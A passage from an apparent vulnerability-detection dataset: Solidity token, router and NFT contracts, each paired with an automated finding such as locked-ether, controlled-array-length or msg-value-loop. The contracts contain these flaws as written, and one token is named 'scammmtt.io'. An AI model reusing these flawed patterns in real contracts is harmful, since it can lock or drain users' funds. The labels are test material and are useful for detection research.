function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint(){require(!mintingFinished); _;}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
}
contract RewardToken is StandardToken, Ownable {
struct Payment {
uint time;
uint amount;
}
Payment[] public repayments;
mapping(address => Payment[]) public rewards;
event Reward(address indexed to, uint256 amount);
function repayment() onlyOwner payable public {
require(msg.value >= 0.01 * 1 ether);
repayments.push(Payment({time : now, amount : msg.value}));
}
function _reward(address _to) private returns(bool) {
if(rewards[_to].length < repayments.length) {
uint sum = 0;
for(uint i = rewards[_to].length; i < repayments.length; i++) {
uint amount = balances[_to] > 0 ? (repayments[i].amount * balances[_to] / totalSupply) : 0;
rewards[_to].push(Payment({time : now, amount : amount}));
sum += amount;
}
if(sum > 0) {
_to.transfer(sum);
emit Reward(_to, sum);
}
return true;
}
return false;
}
function reward() public returns(bool) {
return _reward(msg.sender);
}
function transfer(address _to, uint256 _value) public returns(bool) {
_reward(msg.sender);
_reward(_to);
return super.transfer(_to, _value);
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
_reward(msg.sender);
for(uint i = 0; i < _to.length; i++) {
_reward(_to[i]);
}
return super.multiTransfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
_reward(_from);
_reward(_to);
return super.transferFrom(_from, _to, _value);
}
}
contract Token is CappedToken, BurnableToken, RewardToken {
function Token() CappedToken(10 * 1 ether) StandardToken("scammmtt.io", "scammmtt.io", 18) public {
}
}
contract GetBonusInv is Ownable {
using SafeMath for uint;
Token public token;
mapping(address => uint256) public purchaseBalances; // Массив держателей токенов
event GetBonus(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
function GetBonusInv() public {
token = new Token();
}
function() payable public { }
address[] private InvArr;
address private Tinve;
function InvestorBonusGet(address[] _arrAddress) onlyOwner public{
InvArr = _arrAddress; // Полученный массив с инвесторами
for(uint i = 0; i < InvArr.length; i++) {
Tinve = InvArr[i];
emit GetBonus(Tinve, 1, 0);
token.mint(Tinve, 1);
}
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact
2) unused-return with Medium impact
3) controlled-array-length with High impact |
/**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.3;
// ERC20 Interface
interface iERC20 {
function balanceOf(address) external view returns (uint256);
function approve(address, uint) external returns (bool);
function burn(uint) external;
}
// RUNE Interface
interface iRUNE {
function transferTo(address, uint) external returns (bool);
}
// ROUTER Interface
interface iROUTER {
function deposit(address, address, uint, string calldata) external;
}
// THORChain_Router is managed by THORChain Vaults
contract THORChain_Router {
address public RUNE = 0x3155BA85D5F96b2d030a4966AF206230e46849cb; //mainnet
struct Coin {
address asset;
uint amount;
}
// Vault allowance for each asset
mapping(address => mapping(address => uint)) public vaultAllowance;
// Emitted for all deposits, the memo distinguishes for swap, add, remove, donate etc
event Deposit(address indexed to, address indexed asset, uint amount, string memo);
// Emitted for all outgoing transfers, the vault dictates who sent it, memo used to track.
event TransferOut(address indexed vault, address indexed to, address asset, uint amount, string memo);
// Changes the spend allowance between vaults
event TransferAllowance(address indexed oldVault, address indexed newVault, address asset, uint amount, string memo);
// Specifically used to batch send the entire vault assets
event VaultTransfer(address indexed oldVault, address indexed newVault, Coin[] coins, string memo);
constructor() {}
// Deposit an asset with a memo. ETH is forwarded, ERC-20 stays in ROUTER
function deposit(address payable vault, address asset, uint amount, string memory memo) external payable {
uint safeAmount;
if(asset == address(0)){
safeAmount = msg.value;
(bool success, bytes memory data) = vault.call{value:safeAmount}("");
require(success && (data.length == 0 || abi.decode(data, (bool))));
} else if(asset == RUNE) {
safeAmount = amount;
iRUNE(RUNE).transferTo(address(this), amount);
iERC20(RUNE).burn(amount);
} else {
safeAmount = safeTransferFrom(asset, amount); // Transfer asset
vaultAllowance[vault][asset] += safeAmount; // Credit to chosen vault
}
emit Deposit(vault, asset, safeAmount, memo);
}
//############################## ALLOWANCE TRANSFERS ##############################
// Use for "moving" assets between vaults (asgard<>ygg), as well "churning" to a new Asgard
function transferAllowance(address router ,address newVault, address asset, uint amount, string memory memo) external {
if (router == address(this)){
_adjustAllowances(newVault, asset, amount);
emit TransferAllowance(msg.sender, newVault, asset, amount, memo);
} else {
_routerDeposit(router, newVault, asset, amount, memo);
}
}
//############################## ASSET TRANSFERS ##############################
// Any vault calls to transfer any asset to any recipient.
function transferOut(address payable to, address asset, uint amount, string memory memo) public payable {
uint safeAmount; bool success; bytes memory data;
if(asset == address(0)){
safeAmount = msg.value;
(success, data) = to.call{value:msg.value}(""); // Send ETH
} else {
vaultAllowance[msg.sender][asset] -= amount; // Reduce allowance
(success, data) = asset.call(abi.encodeWithSelector(0xa9059cbb, to, amount));
safeAmount = amount;
}
require(success && (data.length == 0 || abi.decode(data, (bool))));
emit TransferOut(msg.sender, to, asset, safeAmount, memo);
}
// Batch Transfer
function batchTransferOut(address[] memory recipients, Coin[] memory coins, string[] memory memos) external payable {
for(uint i = 0; i < coins.length; i++){
transferOut(payable(recipients[i]), coins[i].asset, coins[i].amount, memos[i]);
}
}
//############################## VAULT MANAGEMENT ##############################
// A vault can call to "return" all assets to an asgard, including ETH.
function returnVaultAssets(address router, address payable asgard, Coin[] memory coins, string memory memo) external payable {
if (router == address(this)){
for(uint i = 0; i < coins.length; i++){
_adjustAllowances(asgard, coins[i].asset, coins[i].amount);
}
emit VaultTransfer(msg.sender, asgard, coins, memo); // Does not include ETH.
} else {
for(uint i = 0; i < coins.length; i++){
_routerDeposit(router, asgard, coins[i].asset, coins[i].amount, memo);
}
}
(bool success, bytes memory data) = asgard.call{value:msg.value}(""); //ETH amount needs to be parsed from tx.
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
//############################## HELPERS ##############################
// Safe transferFrom in case asset charges transfer fees
function safeTransferFrom(address _asset, uint _amount) internal returns(uint amount) {
uint _startBal = iERC20(_asset).balanceOf(address(this));
(bool success, bytes memory data) = _asset.call(abi.encodeWithSelector(0x23b872dd, msg.sender, address(this), _amount));
require(success && (data.length == 0 || abi.decode(data, (bool))));
return (iERC20(_asset).balanceOf(address(this)) - _startBal);
}
// Decrements and Increments Allowances between two vaults
function _adjustAllowances(address _newVault, address _asset, uint _amount) internal {
vaultAllowance[msg.sender][_asset] -= _amount;
vaultAllowance[_newVault][_asset] += _amount;
}
// Adjust allowance and forwards funds to new router, credits allowance to desired vault
function _routerDeposit(address _router, address _vault, address _asset, uint _amount, string memory _memo) internal {
vaultAllowance[msg.sender][_asset] -= _amount;
require(iERC20(_asset).approve(_router, _amount)); // Approve to transfer
iROUTER(_router).deposit(_vault, _asset, _amount, _memo); // Transfer
}
} | These are the vulnerabilities found
1) msg-value-loop with High impact
2) unused-return with Medium impact |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Interface {
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Deluxo is ERC20Interface {
using SafeMath for uint256;
string public constant symbol = "DLUX";
string public constant name = "Deluxo";
uint8 public constant decimals = 18;
uint256 public _totalSupply = 4700000000000000000000000;
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
function Deluxo() {
owner = msg.sender;
balances[owner] = _totalSupply;
}
function totalSupply() constant returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Unity' Money
//
// Symbol : UNY
// Name : Unity
// Total supply: 96300000000
// Decimals : 2
//
// Unity.money
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Unity is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Unity() public {
symbol = "UNY";
name = "Unity";
decimals = 2;
_totalSupply = 96300000000;
balances[0xde737293A9e8f5Dcd35a29662f1fe2E5997D543d] = _totalSupply;
Transfer(address(0), 0xde737293A9e8f5Dcd35a29662f1fe2E5997D543d, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from account to account
//
// The calling account must already have sufficient tokens approved
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-11-09
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.4;
interface IERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
interface IERC721 {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata data) external payable;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external payable;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x5b5e139f.
interface IERC721Metadata {
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string memory _name);
/// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string memory _symbol);
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
function tokenURI(uint256 _tokenId) external view returns (string memory);
}
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
/// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x780e9d63.
interface IERC721Enumerable {
/// @notice Count NFTs tracked by this contract
/// @return A count of valid NFTs tracked by this contract, where each one of
/// them has an assigned and queryable owner not equal to the zero address
function totalSupply() external view returns (uint256);
/// @notice Enumerate valid NFTs
/// @dev Throws if `_index` >= `totalSupply()`.
/// @param _index A counter less than `totalSupply()`
/// @return The token identifier for the `_index`th NFT,
/// (sort order not specified)
function tokenByIndex(uint256 _index) external view returns (uint256);
/// @notice Enumerate NFTs assigned to an owner
/// @dev Throws if `_index` >= `balanceOf(_owner)` or if
/// `_owner` is the zero address, representing invalid NFTs.
/// @param _owner An address where we are interested in NFTs owned by them
/// @param _index A counter less than `balanceOf(_owner)`
/// @return The token identifier for the `_index`th NFT assigned to `_owner`,
/// (sort order not specified)
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
//@openzeppelin/upgrades/contracts/Initializable.sol
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
contract Ownable is Context {
address internal owner_;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(owner_ == _msgSender(), "Ownable: caller is not the owner");
_;
}
function owner() public view returns (address) {
return owner_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "ERC721: new owner is the zero address");
emit OwnershipTransferred(owner(), _newOwner);
owner_ = _newOwner;
}
}
contract ERC721Token is Ownable, IERC165, IERC721, IERC721Metadata, IERC721Enumerable, Initializable {
string private name_;
string private symbol_;
mapping(uint256 => address) private owners_;
mapping(address => uint256) private balances_;
mapping(uint256 => address) private tokenApprovals_;
mapping(address => mapping (address => bool)) private operatorApprovals_;
mapping(uint256 => string) private tokenURIs_;
mapping(address => mapping(uint256 => uint256)) private ownedTokens_; // Mapping from owner to list of owned token IDs
mapping(uint256 => uint256) private ownedTokensIndex_; // Mapping from token ID to index of the owner tokens list
uint256[] private allTokens_; // Array with all token ids, used for enumeration
mapping(uint256 => uint256) private allTokensIndex_; // Mapping from token id to position in the allTokens array
constructor() initializer {}
function initialize(string memory _name, string memory _symbol, address _owner) public initializer {
require(_owner != address(0), "ERC721: owner cannot be zero address");
name_ = _name;
symbol_ = _symbol;
owner_ = _owner;
emit OwnershipTransferred(address(0), _owner);
}
function name() external view virtual override returns (string memory) {
return name_;
}
function symbol() external view virtual override returns (string memory) {
return symbol_;
}
function tokenURI(uint256 _tokenId) external view virtual override returns (string memory) {
require(_exists(_tokenId), "ERC721: URI query for nonexistent token");
return tokenURIs_[_tokenId];
}
function balanceOf(address _account) public view virtual override returns (uint256) {
return balances_[_account];
}
function ownerOf(uint256 _tokenId) public view virtual override returns (address) {
address owner = owners_[_tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata _data) external payable virtual override {
_safeTransfer(_from, _to, _tokenId, _data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable virtual override {
_safeTransfer(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId) external payable virtual override {
require(_isApprovedOrOwner(_msgSender(), _tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(_from, _to, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external payable virtual override {
address owner = ownerOf(_tokenId);
require(_approved != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all");
_approve(_approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external virtual override {
require(_operator != _msgSender(), "ERC721: approve to caller");
operatorApprovals_[_msgSender()][_operator] = _approved;
emit ApprovalForAll(_msgSender(), _operator, _approved);
}
function getApproved(uint256 _tokenId) public view virtual override returns (address) {
require(_exists(_tokenId), "ERC721: approved query for nonexistent token");
return tokenApprovals_[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) public view virtual override returns (bool) {
return operatorApprovals_[_owner][_operator];
}
function supportsInterface(bytes4 _interfaceId) external view virtual override returns (bool) {
return _interfaceId == type(IERC165).interfaceId
|| _interfaceId == type(IERC721).interfaceId
|| _interfaceId == type(IERC721Metadata).interfaceId
|| _interfaceId == type(IERC721Enumerable).interfaceId;
}
function mintTo(address _recipient, uint256 _tokenId, string calldata _tokenUri) external onlyOwner returns (bool) {
_safeMint(_recipient, _tokenId);
_setTokenURI(_tokenId, _tokenUri);
return true;
}
function burn(uint256 _tokenId) external onlyOwner returns (bool) {
address owner = ownerOf(_tokenId);
_beforeTokenTransfer(owner, address(0), _tokenId);
// Clear approvals
_approve(address(0), _tokenId);
if (bytes(tokenURIs_[_tokenId]).length != 0) {
delete tokenURIs_[_tokenId];
}
balances_[owner] -= 1;
delete owners_[_tokenId];
emit Transfer(owner, address(0), _tokenId);
return true;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view virtual override returns (uint256) {
require(_index < balanceOf(_owner), "ERC721Enumerable: owner index out of bounds");
return ownedTokens_[_owner][_index];
}
function totalSupply() public view virtual override returns (uint256) {
return allTokens_.length;
}
function tokenByIndex(uint256 _index) public view virtual override returns (uint256) {
require(_index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return allTokens_[_index];
}
function _exists(uint256 _tokenId) internal view virtual returns (bool) {
return owners_[_tokenId] != address(0);
}
function _isApprovedOrOwner(address _spender, uint256 _tokenId) internal view virtual returns (bool) {
require(_exists(_tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(_tokenId);
return (_spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender));
}
function _safeMint(address _to, uint256 _tokenId) internal virtual {
_safeMint(_to, _tokenId, "");
}
function _safeMint(address _to, uint256 _tokenId, bytes memory _data) internal virtual {
_mint(_to, _tokenId);
require(_checkOnERC721Received(address(0), _to, _tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
